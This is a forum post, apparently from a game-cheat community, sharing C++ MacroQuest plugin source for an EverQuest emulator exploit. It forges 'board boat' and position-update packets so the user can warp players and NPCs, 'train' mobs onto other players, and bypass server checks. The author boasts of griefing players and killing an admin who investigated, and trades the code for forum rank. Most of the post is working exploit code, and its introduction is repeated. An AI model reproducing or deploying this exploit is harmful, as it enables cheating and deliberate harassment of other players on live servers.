I had a lot of fun with this on P99 a while back - creating huge trains by warping players and mobs back and forth!!
I even killed Rogean when he came to investigate ppl complaining of mobs in lower guk warping all over the place!
The kind of things this can be used for:
1. Single pull mobs/move them around the map/Ghostkill
2. Warp yourself or other players around the map
3. Lock mobs in place
4. Train players with mobs, then warp them back to gather friends
5. Momentarily place players near aggro mobs (getting hit a few times before they warp back when their client updates)
It's been a long time since I used it (but still works on latest trunk/theoretically on P99).
It works because the server doesn't check for warping for NPC/PC's that have boarded a boat.
But the code does not ensure that the boat that is boarded is actually a boat(!)
So you can send a packet to make the server think a player/npc has boarded a boat that is infact a normal mob!
Once you've done that you can warp the player/npc all over the place and bypass all of the checks.
I'd like level 2 for this and my old plat dupe I (re)posted please.
Thanks, Speedy
MQ2BoatHack.h
MQ2BoatHack.cpp
MQ2EmuHack.cpp
MQ2EmuHack.h
I even killed Rogean when he came to investigate ppl complaining of mobs in lower guk warping all over the place!
The kind of things this can be used for:
1. Single pull mobs/move them around the map/Ghostkill
2. Warp yourself or other players around the map
3. Lock mobs in place
4. Train players with mobs, then warp them back to gather friends
5. Momentarily place players near aggro mobs (getting hit a few times before they warp back when their client updates)
It's been a long time since I used it (but still works on latest trunk/theoretically on P99).
It works because the server doesn't check for warping for NPC/PC's that have boarded a boat.
But the code does not ensure that the boat that is boarded is actually a boat(!)
So you can send a packet to make the server think a player/npc has boarded a boat that is infact a normal mob!
Once you've done that you can warp the player/npc all over the place and bypass all of the checks.
I'd like level 2 for this and my old plat dupe I (re)posted please.
Thanks, Speedy
MQ2BoatHack.h
Rich (BB code):
#include "../MQ2Plugin.h"
#include "EQImports.h"
class BoatHack
{
public:
BoatHack(uint16 spawnId = 0);
~BoatHack();
bool IsActive();
bool IsNpcDead();
bool IsNpcFullHP();
int GetNpcDistance();
PSPAWNINFO GetSpawnInfo();
bool TargetNpc();
void LeaveNpc();
void BoardNpc(PSPAWNINFO pSpawn);
void SummonNpc();
void MoveNpcBack();
void MoveNpc(float x, float y, float z);
void MoveNpc(uint16 spawnId);
void MoveNpc(PSPAWNINFO psTarget);
void ReturnNpc();
void PrintDebugInfo();
uint16 mySpawnId;
private:
float myStartX;
float myStartY;
float myStartZ;
uint16 myStartHeading;
float myLastWarpX;
float myLastWarpY;
float myLastWarpZ;
bool IsInitialised;
static uint16 boardedSpawnId;
};
MQ2BoatHack.cpp
Rich (BB code):
#include "MQ2BoatHack.h"
uint16 BoatHack::boardedSpawnId = 0;
BoatHack::BoatHack(uint16 spawnId)
{
mySpawnId = spawnId;
IsInitialised = false;
PSPAWNINFO psTarget = GetSpawnInfo();
if (psTarget)
{
myStartX = psTarget->X;
myStartY = psTarget->Y;
myStartZ = psTarget->Z;
myLastWarpX = myStartX;
myLastWarpY = myStartY;
myLastWarpZ = myStartZ;
}
}
BoatHack::~BoatHack()
{
LeaveNpc();
}
bool BoatHack::IsActive()
{
return ((mySpawnId != 0) && (GetSpawnInfo() != 0));
}
void BoatHack::BoardNpc(PSPAWNINFO pSpawn)
{
if (pSpawn)
{
myLastWarpX = pSpawn->X;
myLastWarpY = pSpawn->Y;
myLastWarpZ = pSpawn->Z;
if ((pSpawn->SpawnID != mySpawnId) || (IsInitialised == false))
{
IsInitialised = true;
mySpawnId = (uint16)pSpawn->SpawnID;
myStartX = pSpawn->X;
myStartY = pSpawn->Y;
myStartZ = pSpawn->Z;
myStartHeading = (uint16)pSpawn->Heading;
}
char* pName = new char(strlen(pSpawn->Name) + 6);
strcpy(pName, pSpawn->Name);
WriteChatf("EmuHack: Boarding %s", pSpawn->Name);
boardedSpawnId = mySpawnId;
SendEQMessage(OP_BoardBoat, pName, strlen(pSpawn->Name) + 5);
delete pName;
}
}
void BoatHack::LeaveNpc()
{
if (!IsActive())
return;
WriteChatf("EmuHack: Unboarding %s", GetSpawnInfo()->Name);
if (boardedSpawnId != 0)
{
SendEQMessage(OP_LeaveBoat, 0, 0);
boardedSpawnId = 0;
}
mySpawnId = 0;
}
PSPAWNINFO BoatHack::GetSpawnInfo()
{
if (!mySpawnId)
return 0;
return (PSPAWNINFO)GetSpawnByID(mySpawnId);
}
bool BoatHack::IsNpcDead()
{
if (!IsActive())
return true;
PSPAWNINFO psTarget = GetSpawnInfo();
return (psTarget ? ((psTarget->StandState == STANDSTATE_DEAD) || (psTarget->HPCurrent < 1)) : true);
}
bool BoatHack::IsNpcFullHP()
{
if (IsNpcDead())
return false;
PSPAWNINFO psTarget = GetSpawnInfo();
return (psTarget ? (psTarget->HPCurrent == psTarget->HPMax) : false);
}
int BoatHack::GetNpcDistance()
{
if (!IsActive())
return -1;
if (!ppCharSpawn || !pCharSpawn)
return -1;
PSPAWNINFO pChar = (PSPAWNINFO)pCharSpawn;
PSPAWNINFO psTarget = GetSpawnInfo();
if (!pChar || !psTarget)
return -1;
float distX = psTarget->X - pChar->X;
float distY = psTarget->Y - pChar->Y;
return (int)sqrt((distX * distX) + (distY * distY));
}
bool BoatHack::TargetNpc()
{
if (!IsActive())
return false;
int distNPC = GetNpcDistance();
if ((distNPC < 0) || (distNPC > 3000))
{
WriteChatf("EmuHack: NPC too far to safely target (%d)", distNPC);
return false;
}
PSPAWNINFO* ppsTarget = (PSPAWNINFO*)ppTarget;
*ppsTarget = GetSpawnInfo();
WriteChatf("EmuHack: Targetting %s", (*ppsTarget)->Name);
return true;
}
void BoatHack::MoveNpc(float x, float y, float z)
{
if (!IsActive())
{
WriteChatf("EmuHack: Boat not active");
return;
}
myLastWarpX = x;
myLastWarpY = y;
myLastWarpZ = z;
if (boardedSpawnId != mySpawnId)
{
BoardNpc(GetSpawnInfo());
}
PlayerPositionUpdateClient_Struct ppuStruct;
ppuStruct.spawn_id = mySpawnId;
ppuStruct.delta_x = 0;
ppuStruct.delta_y = 0;
ppuStruct.delta_z = 0;
ppuStruct.delta_heading = 0;
ppuStruct.x_pos = x;
ppuStruct.y_pos = y;
ppuStruct.z_pos = z;
ppuStruct.heading = myStartHeading;
WriteChatf("EmuHack: Moving %s to %.2f %.2f %.2f", GetSpawnInfo()->Name, x, y, z);
// Update client
PSPAWNINFO psTarget = GetSpawnInfo();
psTarget->X = x;
psTarget->Y = y;
psTarget->Z = z;
psTarget->Heading = myStartHeading;
SendEQMessage(OP_ClientUpdate, &ppuStruct, sizeof(ppuStruct));
}
void BoatHack::MoveNpc(PSPAWNINFO psTarget)
{
if (psTarget)
{
MoveNpc(psTarget->X, psTarget->Y, psTarget->Z);
}
}
void BoatHack::MoveNpc(uint16 spawnId)
{
MoveNpc((PSPAWNINFO)GetSpawnByID(spawnId));
}
void BoatHack::SummonNpc()
{
if (!ppCharSpawn || !pCharSpawn)
return;
PSPAWNINFO pChar = (PSPAWNINFO)pCharSpawn;
MoveNpc(pChar->X, pChar->Y, pChar->Z);
}
void BoatHack::MoveNpcBack()
{
MoveNpc(myLastWarpX, myLastWarpY, myLastWarpZ);
}
void BoatHack::ReturnNpc()
{
if (IsActive())
WriteChatf("EmuHack: Returning %s to spawn point", GetSpawnInfo()->Name);
MoveNpc(myStartX, myStartY, myStartZ);
}
void BoatHack::PrintDebugInfo()
{
PSPAWNINFO psTarget = GetSpawnInfo();
if (!psTarget)
return;
WriteChatf("%s (%d) HP: %d%% loc(%.1f,%.1f,%.1f) anchor(%.1f,%.1f,%.1f) orig(%.1f,%.1f,%.1f)", psTarget->Name, psTarget->SpawnID, psTarget->HPCurrent,
psTarget->X, psTarget->Y, psTarget->Z,
myLastWarpX, myLastWarpY, myLastWarpZ,
myStartX, myStartY, myStartZ);
}
MQ2EmuHack.cpp
Rich (BB code):
VOID CreateTrain(PSPAWNINFO pChar, PCHAR szLine)
{
if (szLine == 0 || strlen(szLine) <= 0)
return;
if (!TrainMap.empty())
{ // Cleanup previous train
for (TrainMapType::iterator i = TrainMap.begin(); i != TrainMap.end(); i++)
{
BoatHack* pBoat = i->second;
delete pBoat;
}
TrainMap.clear();
}
for (int iArg = 1; iArg <= 50; iArg++)
{
CHAR szSpawnID[MAX_STRING] = {0};
GetArg(szSpawnID, szLine, iArg);
if (strlen(szSpawnID) > 0)
{
int mobId = atoi(szSpawnID);
BoatHack* pBoat = new BoatHack(mobId);
if (!pBoat->IsNpcDead())
TrainMap.insert(TrainMapType::value_type(mobId, pBoat));
}
else
break;
}
WriteChatf("EmuHack: Created train of %d mobs", TrainMap.size());
}
VOID ListTrain(PSPAWNINFO pChar, PCHAR szLine)
{
if (TrainMap.empty())
{
WriteChatf("EmuHack: Train is empty, use /createtrain");
return;
}
WriteChatf("EmuHack: Train contains %d NPC's:", TrainMap.size());
for (TrainMapType::iterator i = TrainMap.begin(); i != TrainMap.end(); i++)
{
BoatHack* pBoat = i->second;
pBoat->PrintDebugInfo();
}
}
VOID ReverseTrain(PSPAWNINFO pChar, PCHAR szLine)
{
if (TrainMap.empty())
{
WriteChatf("EmuHack: Train is empty, use /createtrain");
return;
}
PSPAWNINFO psTarget = 0;
if (szLine != 0 && strlen(szLine) > 0)
{
CHAR szArg[MAX_STRING] = {0};
GetArg(szArg, szLine, 1);
int spawnID = atoi(szArg);
psTarget = (PSPAWNINFO)GetSpawnByID(spawnID);
}
if (!psTarget && (ppTarget && pTarget))
{
psTarget = (PSPAWNINFO)pTarget;
}
if (!psTarget)
{
WriteChatf("EmuHack: No target for train supplied");
return;
}
if (pChar && psTarget->SpawnID == pChar->SpawnID)
{
WriteChatf("EmuHack: don't train yourself!!");
return;
}
BoatHack TrainTarget(psTarget->SpawnID);
for (TrainMapType::iterator i = TrainMap.begin(); i != TrainMap.end(); )
{
BoatHack* pBoat = i->second;
PSPAWNINFO pSpawn = pBoat->GetSpawnInfo();
if (pBoat->IsNpcDead())
{
WriteChatf("EmuHack: Removing dead mob %s (%d) from train", pSpawn->Name, pSpawn->SpawnID);
pBoat->PrintDebugInfo();
TrainMap.erase(i++);
}
else
{
WriteChatf("EmuHack: Warping %s to %s", psTarget->Name, pSpawn->Name);
TrainTarget.MoveNpc(pSpawn);
Sleep(1000);
++i;
}
}
}
VOID SendTrain(PSPAWNINFO pChar, PCHAR szLine)
{
if (TrainMap.empty())
{
WriteChatf("EmuHack: Train is empty, use /createtrain");
return;
}
PSPAWNINFO psTarget = 0;
bool bAllowTrainSelf = false;
if (szLine != 0 && strlen(szLine) > 0)
{
CHAR szArg[MAX_STRING] = {0};
GetArg(szArg, szLine, 1);
int spawnID = atoi(szArg);
psTarget = (PSPAWNINFO)GetSpawnByID(spawnID);
GetArg(szArg, szLine, 2);
if (strcmp(szArg, "force") == 0)
bAllowTrainSelf = true;
}
if (!psTarget && (ppTarget && pTarget))
{
psTarget = (PSPAWNINFO)pTarget;
}
if (!psTarget)
{
WriteChatf("EmuHack: No target for train supplied");
return;
}
if (!bAllowTrainSelf && pChar && psTarget->SpawnID == pChar->SpawnID)
{
WriteChatf("EmuHack: don't train yourself!!");
return;
}
WriteChatf("EmuHack: Sending train to %s", psTarget->Name);
for (TrainMapType::iterator i = TrainMap.begin(); i != TrainMap.end(); )
{
BoatHack* pBoat = i->second;
PSPAWNINFO pSpawn = pBoat->GetSpawnInfo();
if (pBoat->IsNpcDead())
{
WriteChatf("EmuHack: Removing dead mob %s (%d) from train", pSpawn->Name, pSpawn->SpawnID);
pBoat->PrintDebugInfo();
TrainMap.erase(i++);
}
else
{
pBoat->MoveNpc(psTarget);
++i;
}
}
}
VOID ReturnTrain(PSPAWNINFO pChar, PCHAR szLine)
{
if (!TrainMap.empty())
{
for (TrainMapType::iterator i = TrainMap.begin(); i != TrainMap.end(); i++)
{
BoatHack* pBoat = i->second;
if (!pBoat->IsNpcDead())
pBoat->ReturnNpc();
}
}
WriteChatf("EmuHack: Dismantled Train");
}
MQ2EmuHack.h
Rich (BB code):
...
static BoatHack* pBoatHack;
typedef std::map<int, BoatHack*> TrainMapType;
TrainMapType TrainMap;


